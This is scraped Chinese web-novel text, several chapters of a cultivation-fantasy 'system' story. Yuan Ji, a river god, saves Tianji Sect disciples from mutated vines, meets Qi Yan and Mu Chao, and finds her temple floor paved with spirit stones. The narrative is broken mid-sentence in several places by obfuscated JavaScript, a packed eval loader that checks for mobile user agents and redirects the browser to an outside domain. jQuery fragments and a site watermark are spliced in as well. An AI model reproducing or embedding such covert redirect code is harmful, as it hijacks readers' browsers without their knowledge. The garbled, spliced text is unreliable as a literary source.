l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078530|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐,你就听她的话走了?若这人把大师兄藏起来了怎么办?”身后一师妹不明所以,有些不耐,“我们就应该把她打到她不敢再觊觎师兄为止!” 话音刚落,黄黎便气急敲了她的头,“傻子,那人的实力远在我们之上,你打她便是以卵碰石!” “啊?”那师妹低头看看自己,“那人实力能在我们之上,师姐莫不是在涨她人威风灭自己志气。” “傻丫头。”洛秋水摇头轻叹一声,“你是觉得我们没受伤,是那人伤不到我们?” 那师妹点头,“不是吗?” 黄黎开口补充道,“洛师姐的意思是,那人故意逗我们,却不让我们受伤。怕是有其他目的。那人若是想伤我们,我们怕是要和东方师弟一般了。” 话音一落,众人的目光齐齐落在依着树干,满脸黢黑,头发焦黄还冒着浊气,浑身衣裳也看不出原本模样的东方华,倒吸一口凉气。 更有甚者劫后余生般拍了拍心口,“还好还好。”还好不是我。 东方华:……啧,他的内伤好像更严重了。 他艰难起身,看着面前叽叽喳喳的女修,只觉得太阳穴突突的疼。 一群没用的东西,枉费他将人给汇集起来。 “既然无用,那也不用留了。”他轻道一声,扭头回望着河神庙,“到时候这一切便都是她做的,可怪不得我。” 洛秋水见他陷入思索,刚想着上前宽慰一声。却撞进了一双红眸之中。 “啊!” 顿时,尖叫声夹杂着惨叫声此起彼伏。 * “嘎嘎嘎……” 一群乌鸦叫唤着落在面前的枝杈之上,夜文术还在和宣成仁说着近几年他所听闻的有趣话本,见有乌鸦落在枝桠上,下意识道。 “一般这乌鸦出现,都意味着会有不祥的事情发生啊。” 宣成仁若有所思地点点头,刚想着说上两句便瞧见身后的元吉起身,“河神大人,您这是要出去?” 元吉点头应了声,随后又像是想到了什么,嘱咐道,“待会若是有什么事,可以把门上的黑布拿下来。” “啊?” 夜文术挠了挠头,不太明白元吉的话,但还是记了下来。虽然他并不觉得会有人来觊觎一个破破烂烂的庙。“是有什么事吗?要不要我们和您一起去?” 元吉摆手拒绝,多了两个人说不住反而是累赘。“你们在庙里,看好我的门,别让小虫子溜进去了。\" 宣成仁明白了什么,点头保证。 “放心吧,我们肯定将庙守的牢牢的。” 宣成仁一脸笃定,倒是让元吉很是放心。 下一瞬,元吉便消失在了原地,只留下两个人形石狮子发挥着围墙的作用。 “你说,河神大人干嘛去?” 宣成仁望着满脸好奇的夜文术,小声提醒,“我感觉那边似乎有魔气,不知道是什么魔兽。想来河神大人是去解决祸害了吧。” 夜文术一脸敬意,半晌后才陡然察觉。 “咦?那个方向,岂不是刚才天极宗那几个女修离去的方向?” 21. 第二十一章 第二十一章 【叮!发布限时任务:拯救天极宗六名女弟子(0/6) 完成时间:四个时辰 任务奖励:神力值50点】 这次的任务比起先前来倒是大方了许多,一次任务顶得上五天捡垃圾的量。 元吉循着地图上的绿点快速往前奔去,离她们越近,周遭的藤蔓越发疯长起来。 遮天蔽日的藤蔓挡住了元吉的去路,枝桠交错像是个巨大的捕兽笼,静待猎物登场。 元吉神情严肃,这些藤蔓不像是被人操控,那东方华瞧起来没这个本事,倒像是它有了自己的意识。 眼瞅着这藤蔓编织而成的牢笼即将将自己困住,元吉快速后退两步。 “砰”的一声,在地上砸出个半大的小坑。 元吉挑指,正欲唤出火种来清一清这杂乱的环境。突然一道寒光劈开眼前的藤蔓,四溢的寒气迎面而来。 长睫上凝出一层白色的霜花,元吉眼底的神色复杂了几分。她停下脚步,昂首望着上空散发着幽幽寒气的小青剑。 是它! “咦?祁琰也在附近。”阿统扒拉着地图发现了祁琰的绿点,“元吉,我们跟着青剑走,说不定就能找到她们了。” “嗯。”元吉应了声,却不着急离去。她低头捡起一根被青剑斩断的藤蔓,暗红色的汁液缓缓淌下。 “奇怪。”元吉神情更凝重了点,难不成她的猜测是准确的? “我们走。” 元吉对着青剑道了声,那青剑便像是得了命令似的上下漂浮一瞬,劈开前头的藤蔓为元吉带路。 * 山洞之内,钗环尽落,漂亮的发髻也散了下来,罗秋水一身绯色长衫上沾满了藤蔓暗红的汁水,她吐出口中的淤血,踉跄走到地面色苍白的黄黎前喊醒她。 “师妹,没事吧。” 黄黎摇了摇头,气若游丝,“师姐,我,我怕是,不行了。” “你快逃。”她用尽全力说出这话,搭在腰间的手的指缝间源源不断溢出鲜红的血,好不狼狈。 罗秋水皱眉,立马呵止,“别胡说。会有人来救我们的。” 只是她这话说的也没底气,方才东方华安下毒手偷袭她们,几个师妹拼命抵抗,就当她们力竭之时,也不知道从哪里冒出来的变异藤蔓将她们也拖走了。 “师姐,你救救我们!我不想死。”被藤蔓捆住动弹不得的一人撕心裂肺地喊道,手中不停用力去扒开,却只是徒劳。 可她越挣扎,身上的藤蔓将其捆得越紧,渐渐地,她知觉呼吸困难。 罗秋水神色动容,想将其救出却发现自己无法调动任何的灵力,此时的她犹如一个废人。 而那人的挣扎也惹怒了藤蔓,暴怒的枝条一阵乱舞。唯一有些体力的洛秋水也被拍到峭壁上,失去意识。 绝望在人群中蔓延开,几人皆在心中暗自祈祷。 来个人救救她们。 随着时间的流逝,寒冷意外降临,几人身上结出了霜花。 她们怕是要交代在这了,众人心下一片悲凉,冰冷的水珠从眼眶滑落。 正这时,一道温暖的亮光突然出现,众人茫然望去。 温暖的火光将坚韧的藤蔓烧出一个一个高的大洞,剩余的藤蔓吃痛想要胡乱挥舞,也被那火光给压了下去。 小小的火光,此时将整个山洞照得格外明亮。 几人的心跳慢慢恢复,下意识屏住了呼吸定定瞧着。 一双洁白纤长的手挑起垂落的藤蔓,元吉从后面出现,这一刻,众人的心猛烈的跳动起来。 黄黎被这动静吵醒无力睁眼,对上元吉淡漠的目光,下意识她扯了扯嘴角再次晕厥过去。 她们的运气也太差了些,居然遇到了得罪过的人怕是要交代在这了。 元吉有些嫌弃地捻着手指,方才不小心沾上了藤蔓的汁,只是越搓越粘了起来。 青剑在空中盘旋片刻,以守护的姿态在元吉身侧绕了两圈,随后朝着洞穴的深处探了探,发出一阵轻微的剑鸣。 “在那里?”元吉问了声,并没有随着青剑的步伐继续前行。 她蹲在洛秋水的身侧,这几人中也就她的脉搏更为强健一些。 “阿统,看看商场中没有没治疗的药物。” 阿统感慨果然是它的宿主,如此的善良乐于助人! “元吉,你要救她们!我马上找。” “找到一瓶疗伤药,不管是多重的伤,只需服下便能立刻痊愈。”阿统顿了顿,“不过我们所有的神力值加起来也只够换一瓶的。” “兑换。”装着疗伤药的小瓶子不过手掌大小出现在她的掌心。 元吉毫不犹豫,解下洛秋水的水囊将疗伤药兑了进去,随后喂了洛秋水一口。 被稀释后的疗伤药效果虽有减弱,但是几息之后,洛秋水的脸色渐渐恢复。她缓缓睁开眼,便瞧见元吉面无表情地看着自己。 心下一惊,整个人往后一退,“元吉修士,你怎么在这?” 等等,我的身体不疼了?不仅刚才受的伤消失了,就连她早年的暗伤也不见了! 这是怎么回事? 洛秋水神色一凛,立马想到是这位元修士救了自己。 可她是怎么做到的? 她心中一肚子疑惑,还没问出口便见元吉伸手递给她一个水囊。 “把水喂给她们,喝下就没事了。”见洛秋水发愣,元吉又耐着性子,“沿着枯焦的树藤往回走,去河神庙等人。” 说罢,不等洛秋水反应,元吉便起身在青剑的带领下继续前行。 望着元吉离去的身影,又看看青剑,洛秋水抱紧了怀中的水囊,而后又松开来快速去将水喂给几位师妹。 不到半柱香的时间,就连濒临死亡的黄黎也在两人的搀扶下缓缓起身,贯穿整个腹部的伤口已经愈合,若不是上头大量散发着血腥味的血渍还未干透,众人只会觉得这是一场梦。 沉默许久,洛秋水率先开口将发生的事情告诉众人。方才她们恍惚间依稀瞧见了元吉的身影,因此没有人怀疑洛秋水说的话。 突然一人起身喊道,“所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寒霜渐厚,元吉呼出的气也变得白了起来。周遭的寒冷让她有些不适。 动了动有些僵硬的指节,元吉将火种放出。小小的火种努力跳跃着释放出温暖。 只是它先前破路耗费了许多能量,这会便有些力不从心。 元吉思索一瞬,抬手从旁边薅了半根冰冻住的藤蔓喂给火种。 有了能量补给,火种顿时高兴地放出柔和的光量! 下一瞬,即便是被冻住了,藤蔓也努力团团散落在地上的枝条给元吉让出了一条路来。 惹不起,它躲得起! 元吉眸子一眯,并未在花半分心思在藤蔓上,她的眼前出现了一个身影。 那个据说是去救宗门内弟子之人的身影。 只是这会的他一身黑袍,眸子冷冷扫来。 里面满满肃杀之意。 22. 第二十二章 第二十二章 四目相对,元吉怔了怔,一个画面快速从脑海中闪过。 漫天血红云彩之下,飓风狂啸,衣袂翩飞。与祁琰有着一模一样容貌的男子淡淡扭头望过来,眸子也是这般的冰冷。 下一瞬,他兴致缺缺地回头,有些惋惜地看着面前瘫倒在地长着一对长角的巨兽上,掌心凝出一把长剑。 “噗呲。”长剑不顾巨兽的哀嚎,毫不留情地刺入巨物的皮肉,旋转一圈后剖出后者的心脏。 不知怎的,元吉心脏隐隐刺痛一番,难受得紧。 奇怪了。 “元吉,你怎么了?”阿统察觉她异样的情绪,赶紧问道。 元吉却并没有告诉它自己又获得了一些记忆的碎片,佯装镇定道:“没事。是祁琰,我们过去吧。” 阿统不放心,上上下下将元吉和祁琰好好打量了一番,又低头看着地图上的绿点才稍稍放下心来,“好,元吉小心点。” 听到动静的祁琰还没收回自己的情绪,便撞上了一双熟悉的眸子。长睫颤了颤,快速换上一副惊讶的模样。 “元修士?!” 祁琰抬眸看向元吉向其走来,黑色的衣摆上沾染了藤蔓的汁液,随着他的走动,倒像是血色在翻涌。 他不动声色地将手中的寻人蛊丢入藤蔓之中,任其顺着藤蔓朝着洞穴深处快速爬去。 “你怎么在这?” 元吉眉头一皱,总觉得这人同河神庙内有些不同。她敛下长睫,不着痕迹地瞥过他的手,骨节分明的指如同玉雕一般洁净,却又和那画面中的手快速重合起来。 她按了按心口,感受着底下的跳动,那份怪异感越发强烈了。 “你受伤了?” 祁琰语气一促,视线落在她袖口上,那是她拿火烤藤蔓时后者留下的痕迹。 “并未。”元吉并不在意地挥了挥袖子,“蹭到了。” 她言简意赅地说了一声,祁琰便明白了,他颔首。 “素色的衣衫总是容易脏些。” 祁琰的话意有所指,“元修士也是被这变异藤蔓所吸引来?” “方才我收到宗门弟子的求救信号匆匆赶来,没想到却误入这藤蔓深处失了方向。” 元吉挑眉,祁琰说得坦荡甚至还带着些遗憾,就像是真的一番,倘若没有遇到那奄奄一息的几位女修,她倒是会信。 若不是地图上显示他还是人类,元吉忍不住要怀疑这人是否真的如书中所写一般,已是魔了。 “变异藤蔓?” 他们四周的藤蔓早在元吉用火种烧了个大洞时团吧团吧快速撤了回去,只剩下一个干干净净好似什么都没发生过的洞窟。 元吉想到了什么,抬手摊开,只见掌心上躺着一截已经被烤焦的藤蔓,“它?” 祁琰瞳孔蓦地一缩,显然是没想到那变异嚣张的藤蔓会变成这样,眼角抽动一番,夸赞道,“不愧是元修士,正是这变异藤蔓。” “我们可顺着这枝条找到其根源,说不定能找到使其变异的原因。” 元吉快速思索一瞬,点点头,而后重新唤出火种。 闪烁的火光刚一出来,攀附在墙壁上的藤蔓像是受到了极大的惊吓,张牙舞爪地挥动一番,“蹭”的一声快速收了回去。 元吉歪歪头瞧着祁琰,开口:“走吧,它带路。” “……”祁琰默默将知节重新收了回去。 真是个好方法。 因而,待被藤蔓紧紧捆住,奄奄一息的东方华被快速逃离的藤蔓嫌弃地丢到地上,闷哼一声醒来,无力地抬眼看去时,东方华沉默了。 凶残可怖的藤蔓卷走了师姐师妹坏了他的计划不够,临消失前从地下又钻出一条来将其掳到这鬼地方来。 一路上他被拖着在沙砾上滑着走,整个人早就狼狈不堪,好不容易挣扎出来,又有源源不断地藤蔓涌出,像是怎么都砍不完似的。 可这会他瞧见了什么?! 那么凶狠的藤蔓像是老鼠见了猫落荒而逃,身后是闲庭散步般的元吉和…大师兄! 莫不是自己眼花了? 东方华沉默许久,反应过来后心下一慌,拼命低着头爬到山洞边缘试图将自己藏起来。 “遭了,他怎么在这。” 一双眸子红得骇人,竟连眼白都染上了几分红色,细密的汗珠布满额角,“千万不能被祁琰发现我的身份。” 可他越怕什么就越来什么。 元吉的脚步一顿,偏头看着装死的东方华,挑眉示意他瞧去。 祁琰顺着元吉的目光看去,眼底的神色沉了几分。很快他又将头给扭了回来,语气无波无澜。 “我要找弟子不是他。” “上头的魔气已经消散了不少,想来这魔修已经去了顿时,不必理会。” 祁琰走到元吉身侧,挡住其视线。“走吧。” “唔。”元吉收回嫌弃的目光,并不多理会便寻着藤蔓的方向继续前行,不过。 魔气倒是很好的养料。 元吉垂下指尖,从火种中分了一丝留在原地。 见元吉往前走去,祁琰也收回眸光,只是眼底的嫌弃与厌恶越发浓郁了起来。 废物。 前头的洞穴有些狭窄,两人并肩前行,周遭又安静了下来,只剩下轻微的布料摩擦声。 听着两人渐行渐远的声响,东方华松了一口气,刚想着起身快点离开却发现自己怎么给动不了了。 他被封印住了! 心猛地一跳,东方华慌地试图调动自己的魔气来冲破封印。 下一瞬,他整个人害怕地颤抖起来。 他的魔力在快速消失! 有什么东西在蚕食他的魔气,一口一口,他仿佛听见了咀嚼声。 这声音不大,却被恐惧加持后无限放大,他不知道这声音下次响起会是在哪里。 东方华头皮发麻,额上的青筋根根爆起,可他身上的封印极强,任他用任何方法都冲破不了。 这究竟是怎么回事! 东方华内心崩溃疯狂喊叫,可在外人看来,他只是静静地睡着了。 或许这一觉会比较长久。 东方华至死都不知道,他为什么会死。 是变异藤蔓,是那个不知名的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078532|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西,还是他的恐惧,亦或是因果报应。 * 另一侧,已经到了河神庙洛秋水似有所感地抬头望向东方华的方向,心中陡然一轻。 还没来得及多想,手中便被塞了个热乎乎的大包子,源源不断地暖意一下便安抚住了她不安的心。 “来,好孩子吃个包子垫垫肚子吧。”方明珠温柔劝道,“河神大人让你们来这,你们便不用再怕了,有河神大人在,一切都会好的。” 方明珠不急不缓的话音像是有魔力一般,众人皆放下心来。黄黎忍不住开口,“方修士,听你这么说,元、河神大人很厉害?” 几双眸子齐刷刷落到方明珠身上,方明珠微微垂头,嘴角挂着温柔的笑意,“是啊,而且河神大人最是心善。” 她将元吉如何救下自己,又是帮助受困村民的故事讲给众人听,娓娓道来的话音连坐在门口的夜文术也忍不住频频回头。 半晌后,几人围坐在夜文术身侧,听着他将自己同宣老的故事抹去身份和几个重要的信息后讲出来,顿时感动不已。 结合元吉轻而易举将她们从死亡边缘拉回来的事件,几人对自己的行为懊恼不已。 她们竟没想到,这河神大人还真是位心地善良,乐于助人,且实力深不可测的大能。 洛秋水环顾着这破烂不堪的小庙,复杂的情绪从心底翻涌不停,这样的大能她们从前竟然从未听闻,竟如此淡漠名利。 敬佩之情熏染之下,洛秋水暗中握拳,她要好好报答河神大人! “河神大人是位好神。” 众人齐齐点头。 “尝尝包子吧。”静静听着这一切的宣老意味深长的开口。 黄黎有些羞愧的想起自己的行为,赶忙道歉后咬了口包子,顿时一惊。 “这,这包子!” 几人不解,也默默咬了口包子。 下一瞬,众人皆惊呆了。洛秋水咽下包子,感受着其中的灵力,嗓音有些亚,“这也是河神大人……” 宣老用手抵着嘴,摇摇头,“不可说。” 众人顿悟,皆乖巧闭上嘴巴拼命往口中大口大口塞着包子。 洛秋水没有像师妹一样不管不顾,她低头思索片刻,眼中闪过一起光亮。 她清了清嗓子,“我倾慕河神大人,想为河神大人做些什么。不知……” 做些什么? 夜文术几人对视一眼,还未想到便听到“哎呦”一声,在院中捉蝴蝶的栾萱被拱起的石砖绊了一跤。 没了灵力支撑,那蝴蝶便重新变回了灵石滚落在地。 众人的目光汇聚于其上,又顺着灵石看了看坑坑洼洼的地砖,又顺势瞧见了突兀立在那没有围墙支撑的大门。 洛秋水默了一瞬,眼神一亮,她好像知道该做什么了! 另一侧,正离变异藤蔓根源越来越近的元吉脚下一顿,有些诧异地问。 “什么?” 阿统看着账户中的灵石数量,晕乎晕乎道。 “我们发财了。” ”系统出故障给我们送钱了。好多好多!” 元吉:?? 23、第二十三章 第二十三章 元吉狐疑地瞧着满脸兴奋的阿统,默了默,委婉开口,“不如休息下?” 或许是太累了,所以才会出现幻觉。她还得靠着这系统寻回自己的记忆,若是带着个脑子坏了的系统…… 元吉一阵恶寒,不敢多想。 阿统没听出她的话外之音,全当是元吉对自己的贴心关怀,幸福之情溢于言表。 它是最幸运的统! 不仅选中了人善心美会关心统的宿主,还遇到了主系统出故障给它送福利,阿统决定将这一天永远刻在自己的数据之中作为纪念! “我没事的元吉!”阿统唰得打开商城界面钻了进去,抱着那金灿灿的灯塔傻笑两声,”你先去忙,我和灯塔培养下感情,等我们回去就把它换出来!” 像是应和阿统的话,那灯塔周身的光陡然增强了两分。元吉眼角抽搐两下,默默扭头,叹了口气。 “好。” 往好处想想,至少那河神庙以后不用再点灯了。 “元修士,怎么了?” 走在前头的祁琰察觉元吉停下脚步,一脸复杂的模样。脑海中的思绪快速过了一遍并未发现有什么破绽的地方,不免有些好奇。 “可是有什么不妥之处?” 元吉闭眼按了按眉心,有气无力地摇头。“只是想着强光之下,或许再难见萤火。” 祁琰没想到这个回答,静默许久,他轻笑一声,嗓音中兀得带着股不屑,“萤火虽小,但若是成千上万地汇集起来,也能盖过强光之芒。” 手中的动作一顿,元吉抬首望去,四目相对之间,她似乎看到了什么。不待从祁琰眼中得到答案,便匆忙起身继续向前走去。 “走吧。”元吉语气淡然,全然没有与祁琰深入讨论的想法。这人总是藏着掖着,与他说话累得很,“它要逃走了。” 话音刚落下,那藤蔓便“呲溜”一声从极窄的缝隙间钻了过去,只留下一个黑黢黢的洞口便消失不见了。 祁琰:…… 元吉:……? 元吉脸一黑,有些恼怒地在指尖凝出白光想将这洞口砸个大洞。 然祁琰的反应更快一些,他伸手按下元吉的手,温热的触感便顺着指腹传到了元吉的手背。 只一瞬间,那温热便离元吉而去,元吉怔了怔有些不自在地将手背贴在衣裳上,好像这样就能将那奇怪的感觉传走。 “抱歉失礼了。”祁琰歉意道,“这巨石看似坚固,然层层堆叠。若是贸然破开,这整个山洞怕是要坍塌下来。” 祁琰顶着元吉的目光,从储物戒中唤出一枚罗盘来,“可否借元修士那截枯藤一用,或许可以寻到它真实的藏身之处。” 元吉半信半疑地将枯藤递过去,这是她给小火种留的口粮,上头还隐隐能看出两个小小的牙印。 祁琰从上头取了一节碾碎倒在罗盘之上,两指并在一起快速画出复杂的符纹。下一瞬,罗盘快速转动,上头的字符闪出一道亮光直指着相反方向的一条甬道。 “这个方向,我们走。” 元吉深深地向那甬道望了一眼,抬步跟上祁琰的脚步。 他究竟想带自己去哪里? 这条甬道比起先前的宽敞了许多,地上的枯草像是被什么东西压过一般顺着前头倒去,几条明显的拖痕大咧咧地呈现在地上。 “有人。”元吉听到几声细微的呼吸声。 “看来我们找对方向了。没想到这藤蔓还会把我们往错误方向引。” 祁琰话音中带着些笑意,他将知节握在手中,先于元吉半步走在她前头,“元修士小心些,这藤蔓抓了不少人。” 可不。元吉听着那呼吸声,至少得有十道。 两人放缓了脚步,静悄悄地向前走去。 沙砾摩擦之间,一阵阵闷哼声中夹杂着呜咽声从前方传来。 两人凑近瞧了瞧,一愣。面面相觑一眼,祁琰便从元吉的眼中瞧出了几分疑惑。 元吉疑惑地眨了眨眼,并不明白为何这藤蔓会将一名面白如雪,此刻脸上泛着阵阵红晕的男修小心翼翼地包裹着还时不时伸出一根藤蔓触碰他的脸颊。 而那男修为何闭着眼又一脸悲愤,像是气急却又无可奈何。 与这男修待遇不同,对待另外十来个男修,藤蔓则是毫不留情地像堆小山一般垒在一旁。 元吉静静瞧着,视线快速在几人之间转来转去。 几息之间,元吉在心中试探猜测,“莫不是因为他长得清秀些,这藤蔓便区别对待?” 那这藤蔓未免太肤浅了些,只顾皮肉样貌,却不见人品格如何。 元吉摇摇头。 祁琰清咳一声,嗓音微哑有些不自在道,“元修士,我们去将人救下来吧。” “好。” 见元吉的注意力挪回到救人上,祁琰稍稍松了口气。他眼眸微阖,垂在身侧的手轻轻一弹,一顾气便砸在了穆朝身上。 穆朝被砸醒,恍然醒来心中便是憋着股气,恨不能同这藤蔓同归于尽。 可他一睁眼,便瞧见一位身着素色衣裳,面容姣好的女修从天而降,绸缎般的墨发在空中扬出一道漂亮的弧线。 心跳慢了一拍。 下一瞬,穆朝的脸陡然爆红了起来,呆楞楞地瞧着元吉出神,连那藤蔓在犹豫后悄悄放开了自己也没意识到。 只有一个念头在脑海中盘旋。 他瞧见话本中的仙女了! 紧跟在身后的祁琰不知怎地,心中像是堵着一团火。他幽幽地瞥了眼穆朝,努力藏起眼底的情绪。 他快步上前挡住穆朝的视线,然后在元吉瞧不见之处再次朝着穆朝弹出一股气。 “哎呦。”穆朝一阵呼痛,回神过来才发现藤蔓已经送来了他,而他站在石头堆上一个不稳滴溜溜地从上头滚了下来摔了个大马哈,“哎呦!” 藤蔓见两人追来,见势不妙又快速朝着后头退去。没了压制,被叠在墙角的几人趁着这个机会朝穆朝跑去。 “少主子,您没事吧。”闷厚老实的壮汉一把搀扶起穆朝,“若您有事,老奴死不足惜啊!” 他还想说些什么,却被穆朝一把推开,“去帮那位仙女!” 壮汉一脸懵:什么仙女? 元吉可没心思去管他们再说什么,她在藤蔓上察觉到了一股熟悉的气息。 元吉神色一凛,见藤蔓顺势要逃立马一个闪身快速踩住一支粗壮枝丫。青剑一闪而过,斩断一截想要偷袭元吉的藤蔓。 粘稠的汁洒落一地,藤蔓见势不妙,也不多与众人纠缠,快速抽回藤蔓团成一团砸到了七八个奴仆冲了出去。 就在它要逃走之时,元吉指尖白光一闪,“砰”,知节从天而降将其劈成两半。 趁着众人还没从藤蔓被劈死中反应过来,白光裹携着半枚卐字牌从藤蔓的枝条中飞了出来,将其送到了元吉手中。 “原来是它,” 元吉有些嫌弃地将它快速收到储物镯中,她已经有一枚卐字牌,所以才会感受到这半枚卐字牌的气息。 只是,剩下半枚呢? 不待她多想,穆朝便擦了擦脸,一脸笑意地向她跑来。 “仙女姐姐,我是飞云城穆家的穆朝,敢问仙女姐姐芳名。” 他的语速不紧不慢,极亮的眸子一眨不眨地看着元吉。 直叫元吉背后发毛。 她拧着眉,不动神色地退了退拉开两人之间的距离。 穆朝脸上的笑意依旧不减,满心期待地望着元吉,随后像是想到了什么,从怀中拿出一枚种子快速在掌心催化。 只见那小小的种子以一种极快的速度发芽,长叶,开花。 一朵漂亮的海棠花便出现在了穆朝掌心,“仙女姐姐,送你朵花。” 元吉:? 穆朝又道:“可惜这次出门急,种子半路都掉了,只剩这一枚了。若是仙女姐姐喜欢,下次我可送你一山的花。” 元吉:……? 正当她想着开口拒绝,祁琰走来挡住了穆朝。他神情冷淡,“穆小少爷还是收起来吧,小心这花也变异了。” 闻言穆朝顿时神情一蔫,耷拉着脑袋不想多说什么。 他平日借着天赋催生了无数花草,从未失手,今日也不知道是怎么了,这藤蔓陡然变异害得他…… “抱歉。”穆朝怯怯道了句,“今日多谢二位出手相助,待穆朝回去,定厚礼相谢。” 他挠了挠头,看着手中盛放的海棠花,“仙女姐姐,那这花你还要吗?” 话音一落,元吉便察觉数道目光落在自己身上。 元吉:……?怎么了这是? 她看着紧张的穆朝和他身后的奴仆,又看了看莫名心情不妙的祁琰,总觉得哪里不对劲。 “你可以催生种子?”元吉想到他的举动,“那变异藤蔓也是你催生的?” 穆朝小幅度点点头,像极了做错事的孩子。“我平时修行的道便是与植物相关,今日不知怎的,催生藤蔓时那藤蔓变了异。” “哦,对了,当时我摔了一跤,许是这缘故?”穆朝尴尬一笑,抬手挠了挠头,“不小心把种子摔坏了。” 在他抬手之间,元吉余光瞥见一块铜色之物夹杂他袖口。 她顿了顿,伸手接过那朵海棠花,没人瞧见一道极细微的白光滑过穆朝的袖口将那半枚卐字牌给包裹了起来。 “多谢。”元吉伸手抚了抚花瓣,“很好看。” 明明是夸花,穆朝却整个人都亢奋了起来,整个人精神抖擞倒显得旁边的祁琰脸有些黑得吓人。 下一瞬,元吉又道。 “你会开花。” “所以那藤蔓缠着你,是……”话音未落,在场的几人不知道顺着她的话想到了什么,脸色骤然一红。 元吉恍然大悟,“那藤蔓想你帮它开花?” 众人:……? 元吉摇摇头,“那它还挺爱美。” 众人:……?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 24、第二十四章 第二十四章 穆家的人手脚极快,像是做了无数次般熟练,不多时便将一地残骸收拾干净。 穆朝鼓足了勇气,小心蹭到元吉身侧,“仙女姐姐,变异藤蔓已经处理好了,接下来你要去哪?要不要和我们一起走?” 见元吉不说话,他又忍不住补充道:“我们人多可以保护你!” 言罢,他身后几个身强力壮的奴仆脚下一顿,立马握紧了手中的武器努力摆出个威武的姿势来。 少主子说可以,那不可以也要可以。 元吉看着这群人衣衫褴褛,又都挂了彩,到时候是谁保护谁?沉默片刻,毫不留情地拒绝了。 ”不必。” 任务完成了,她还额外找到了第二枚卐字牌,现在她要回到河神庙去休息了。 被拒绝的穆朝眼中的神采顿时黯淡下来,他身后一名身材瘦削的老者适时过来小声在其耳畔提醒一句。 “少主子,我们可不能再耽误了时间了,旁支的那些人可不会等我们。” 穆朝兴致缺缺,低低“哦”了声,不再多挽留,“那仙女姐姐多保重,我们有缘再见吧。” 元吉也没兴趣去打探他们的行为,待几人离去后,她转头瞧向身侧的祁琰,“你的师弟们,还救吗?” 或者说还用救吗? 祁琰佯装出一副关心的模样,拿起手中的罗盘一番探寻。 然这次罗盘却并未给出任何反应。 他皱眉思索片刻,“在这山洞之中罗盘并未寻到他们的踪迹,许是已经离去。” “只是罗盘显示他们仍在危险之中,祁琰还是得去寻下他们。” 元吉挑眉,静静看着他。 正欲离去,祁琰像是想到了什么,掌心一翻,一枝通体晶莹,上头点缀着如冰雕琢而成的花朵的树枝便出现在两人眼前。 “先前借了元修士一截枯藤,便用此物作为补偿吧。” * 直到回到河神庙,阿统抱着那根晶莹剔透的树枝忍不住问了第七遍。 “元吉,他真的就说了这一句就给你了?没有说其他的?” 元吉不耐地按了按眉心,“嗯。” 阿统咋舌,一下一下摸着那树枝,实在琢磨不透这人想做什么。 元吉刚走近河神庙,便又瞧见了几个熟悉的身形,眼角抽了抽,一股不详的预感涌上心头。 “我的个祖宗诶!河神大人!您回来了!”夜文术眼神极好,一下就瞧见了元吉。 他这一嗓子,门口的几人立马便回首望了过来,正是先前的穆朝几人。 穆朝眼神一亮,正欲开口,身侧飞过几道五彩斑斓的身影,一股花香袭过。 穆朝定睛望去,他的仙女姐姐此时正被几位打扮得格外精致的女修围着。 “河神大人,您回来啦!我们可等了许久。” “河神大人多谢您的救命之恩,这是我从宗门中带回来的桃花酿,您尝尝?” “这是栗子糕,里面还加了能增长修为的灵药,味道极好,河神大人尝尝这个。” …… 穆朝目瞪口呆,若是他没瞧错,那个一身鹅黄长衫巧笑倩兮的女修,是天极宗那个眼睛长在头顶上的黄黎吧。 另外那个穿着绯色薄裙正给元吉递新鲜果子的是天极宗那位排在十大美人榜第六的洛秋水吧。 他一一辨认剩下的几人,半晌后默默咽了口唾沫。 这几人可是出了名的张扬跋扈,这是抽了什么疯,竟如此……温婉可人? 不愧是仙女姐姐。 穆朝咋舌称赞。 就连他身后的老者也在看到翘首看过来的宣老,眼神闪烁一番,有些敬畏地望像元吉。 那几位女修先不说,这守门的人实力深不可测,这女娃究竟是何身份。 元吉被这几人的热情给吓了一跳,她木着脸,不动神色躲开想牵她的手。 美人虽养眼,可一但全围着她叽叽喳喳说话可就不美妙了。 元吉生无可恋地在心中问阿统:“阿统,这几人是怎么回事?” 阿统呆在原地,很快便知道缘由了。 它早就和元吉说过,这是一个慕强的世界,若是你的实力足够强大,你便能获得众人的敬佩。 元吉脸一黑,望着面前笑意盈盈看着自己的女修,只觉得额头突突得疼。 无力扶额,“先进去吧。” 被簇拥着走进河神庙,元吉再看到眼前的景象时顿觉眼睛疼得厉害。 她不明白,为何灵石这般漂亮的东西,成片铺在地上,会比那两扇大门更刺眼。 元吉深吸一口气,耐着性子问,“这是怎么回事?” 她那朴实无华,踏实不刺眼的泥地上怎么会长满了灵石? 方明珠给元吉递了杯温好的茶过来,“是洛修士要报答河神大人您的救命之恩,提议将灵石铺满地面,以显示河神庙的身份。” 好了,她总算知道系统中多出来的灵石是怎么回事了。 “吧嗒。”阿统手中的灵石落了一地,此时的它如遭雷劈,“所以不能兑换成灯塔了啊。” 话音刚落,阿统立马冲进商城系统,紧紧扒着灯塔无声抽泣起来,两行水渍缓缓淌下。 元吉:…… 头好痛。 怪她当时没关注河神庙的动静,只想着有宣成仁和夜文术在不会有什么事。 她深吸一口气,从喉间挤出一句话,“能扣出来吗?” 